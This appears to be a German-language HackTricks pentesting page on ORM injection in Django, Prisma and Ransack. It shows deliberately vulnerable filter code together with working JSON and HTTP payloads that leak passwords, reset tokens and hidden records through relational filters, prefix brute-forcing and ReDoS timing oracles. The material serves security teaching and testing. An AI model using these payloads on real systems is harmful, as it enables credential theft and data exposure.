ORM Injection

Reading time: 8 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks

Django ORM (Python)

In diesem Beitrag wird erklärt, wie es möglich ist, ein Django ORM anfällig zu machen, indem man beispielsweise einen Code wie folgt verwendet:

class ArticleView(APIView):
"""
Einige grundlegende API-Ansicht, an die Benutzer Anfragen senden, um
nach Artikeln zu suchen
"""
def post(self, request: Request, format=None):
try:
            articles = Article.objects.filter(**request.data)
            serializer = ArticleSerializer(articles, many=True)
except Exception as e:
return Response([])
return Response(serializer.data)

Beachten Sie, wie alle request.data (die ein JSON sein wird) direkt verwendet werden, um Objekte aus der Datenbank zu filtern. Ein Angreifer könnte unerwartete Filter senden, um mehr Daten als erwartet zu leaken.

Beispiele:

  • Login: Bei einem einfachen Login versuchen, die Passwörter der registrierten Benutzer zu leaken.
json
{
"username": "admin",
"password_startswith": "a"
}

caution

Es ist möglich, das Passwort durch Brute-Force zu knacken, bis es geleakt wird.

  • Relational filtering: Es ist möglich, Beziehungen zu durchlaufen, um Informationen aus Spalten zu leaken, die nicht einmal für die Operation erwartet wurden. Zum Beispiel, wenn es möglich ist, Artikel zu leaken, die von einem Benutzer mit diesen Beziehungen erstellt wurden: Article(created_by) -[1..1]-> Author (user) -[1..1]-> User(password).
json
{
"created_by__user__password__contains": "pass"
}

caution

Es ist möglich, das Passwort aller Benutzer zu finden, die einen Artikel erstellt haben.

  • Viele-zu-viele relationale Filterung: Im vorherigen Beispiel konnten wir die Passwörter von Benutzern, die keinen Artikel erstellt haben, nicht finden. Durch das Verfolgen anderer Beziehungen ist dies jedoch möglich. Zum Beispiel: Article(created_by) -[1..1]-> Author(departments) -[0..*]-> Department(employees) -[0..*]-> Author(user) -[1..1]-> User(password).
json
{
"created_by__departments__employees__user_startswith": "admi"
}

caution

In diesem Fall können wir alle Benutzer in den Abteilungen von Benutzern finden, die Artikel erstellt haben, und dann ihre Passwörter leaken (im vorherigen JSON leaken wir nur die Benutzernamen, aber dann ist es möglich, die Passwörter zu leaken).

  • Missbrauch von Django Group und Permission viele-zu-viele Beziehungen mit Benutzern: Darüber hinaus wird das AbstractUser-Modell verwendet, um Benutzer in Django zu generieren, und standardmäßig hat dieses Modell einige viele-zu-viele Beziehungen mit den Permission- und Group-Tabellen. Dies ist im Grunde eine Standardmethode, um auf andere Benutzer von einem Benutzer zuzugreifen, wenn sie in der gleichen Gruppe sind oder die gleiche Berechtigung teilen.
bash
# By users in the same group
created_by__user__groups__user__password

# By users with the same permission
created_by__user__user_permissions__user__password
  • Umgehung von Filterbeschränkungen: Der gleiche Blogbeitrag schlug vor, die Verwendung von einigen Filtern wie articles = Article.objects.filter(is_secret=False, **request.data) zu umgehen. Es ist möglich, Artikel, die is_secret=True haben, zu dumpen, da wir von einer Beziehung zur Article-Tabelle zurückschleifen können und geheime Artikel aus nicht geheimen Artikeln leaken können, weil die Ergebnisse zusammengeführt werden und das is_secret-Feld im nicht geheimen Artikel überprüft wird, während die Daten aus dem geheimen Artikel geleakt werden.
bash
Article.objects.filter(is_secret=False, categories__articles__id=2)

caution

Durch den Missbrauch von Beziehungen ist es möglich, sogar Filter zu umgehen, die dazu gedacht sind, die angezeigten Daten zu schützen.

  • Error/Time based via ReDoS: In den vorherigen Beispielen wurde erwartet, unterschiedliche Antworten zu erhalten, wenn das Filtern funktionierte oder nicht, um dies als Oracle zu verwenden. Es könnte jedoch möglich sein, dass eine Aktion in der Datenbank durchgeführt wird und die Antwort immer gleich ist. In diesem Szenario könnte es möglich sein, den Datenbankfehler zu erzeugen, um ein neues Oracle zu erhalten.
json
// Non matching password
{
"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"
}

// ReDoS matching password (will show some error in the response or check the time)
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}
  • SQLite: Hat standardmäßig keinen regexp-Operator (erfordert das Laden einer Drittanbietererweiterung)
  • PostgreSQL: Hat keinen standardmäßigen Regex-Timeout und ist weniger anfällig für Backtracking
  • MariaDB: Hat keinen Regex-Timeout

Prisma ORM (NodeJS)

Die folgenden sind Tricks, die aus diesem Beitrag extrahiert wurden.

  • Vollständige Find-Kontrolle:
const app = express();

app.use(express.json());

app.post('/articles/verybad', async (req, res) => {
try {
// Angreifer hat vollständige Kontrolle über alle Prisma-Optionen
        const posts = await prisma.article.findMany(req.body.filter)
        res.json(posts);
} catch (error) {
res.json([]);
}
});

Es ist möglich zu sehen, dass der gesamte JavaScript-Body an Prisma übergeben wird, um Abfragen durchzuführen.

Im Beispiel aus dem ursprünglichen Beitrag würde dies alle Beiträge überprüfen, die von jemandem erstellt wurden (jeder Beitrag wird von jemandem erstellt) und auch die Benutzerinformationen dieser Person zurückgeben (Benutzername, Passwort...)

json
{
"filter": {
"include": {
"createdBy": true
}
}
}

// Response
[
{
"id": 1,
"title": "Buy Our Essential Oils",
"body": "They are very healthy to drink",
"published": true,
"createdById": 1,
"createdBy": {
"email": "karen@example.com",
"id": 1,
"isAdmin": false,
"name": "karen",
"password": "super secret passphrase",
"resetToken": "2eed5e80da4b7491"
}
},
...
]

Der folgende Befehl wählt alle Beiträge aus, die von jemandem mit einem Passwort erstellt wurden, und gibt das Passwort zurück:

json
{
"filter": {
"select": {
"createdBy": {
"select": {
"password": true
}
}
}
}
}

// Response
[
{
"createdBy": {
"password": "super secret passphrase"
}
},
...
]
  • Vollständige Kontrolle über die WHERE-Klausel:

Lassen Sie uns einen Blick darauf werfen, wo der Angriff die where-Klausel steuern kann:

app.get('/articles', async (req, res) => {
try {
const posts = await prisma.article.findMany({
            where: req.query.filter as any // Anfällig für ORM-Leaks
        })
res.json(posts);
} catch (error) {
res.json([]);
}
});

Es ist möglich, das Passwort der Benutzer direkt zu filtern wie:

javascript
await prisma.article.findMany({
where: {
createdBy: {
password: {
startsWith: "pas",
},
},
},
})

caution

Durch die Verwendung von Operationen wie startsWith ist es möglich, Informationen zu leaken.

  • Umgehung der Filterung bei Many-to-many-Beziehungen:
javascript
app.post("/articles", async (req, res) => {
try {
const query = req.body.query
query.published = true
const posts = await prisma.article.findMany({ where: query })
res.json(posts)
} catch (error) {
res.json([])
}
})

Es ist möglich, nicht veröffentlichte Artikel durch das Zurückverfolgen der vielen-zu-vielen-Beziehungen zwischen Category -[*..*]-> Article zu leaken:

json
{
"query": {
"categories": {
"some": {
"articles": {
"some": {
"published": false,
"{articleFieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}

Es ist auch möglich, alle Benutzer durch den Missbrauch einiger Loopback-viele-zu-viele-Beziehungen zu leaken:

json
{
"query": {
"createdBy": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"{fieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
  • Fehler-/Zeitabfragen: Im ursprünglichen Beitrag können Sie eine sehr umfangreiche Reihe von Tests lesen, die durchgeführt wurden, um die optimale Payload zu finden, um Informationen mit einer zeitbasierten Payload zu leaken. Dies ist:
json
{
"OR": [
{
"NOT": {ORM_LEAK}
},
{CONTAINS_LIST}
]
}

Wo die {CONTAINS_LIST} eine Liste mit 1000 Zeichenfolgen ist, um sicherzustellen, dass die Antwort verzögert wird, wenn das richtige Leak gefunden wird.

Ransack (Ruby)

Diese Tricks wurden in diesem Beitrag gefunden.

tip

Beachten Sie, dass Ransack 4.0.0.0 jetzt die Verwendung einer expliziten Erlaubenliste für durchsuchbare Attribute und Assoziationen durchsetzt.

Anfälliges Beispiel:

ruby
def index
@q = Post.ransack(params[:q])
@posts = @q.result(distinct: true)
end

Beachten Sie, wie die Abfrage durch die vom Angreifer gesendeten Parameter definiert wird. Es war möglich, den Rücksetz-Token beispielsweise mit:

http
GET /posts?q[user_reset_password_token_start]=0
GET /posts?q[user_reset_password_token_start]=1
...

Durch Brute-Forcing und potenziell Beziehungen war es möglich, weitere Daten aus einer Datenbank zu leaken.

References

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks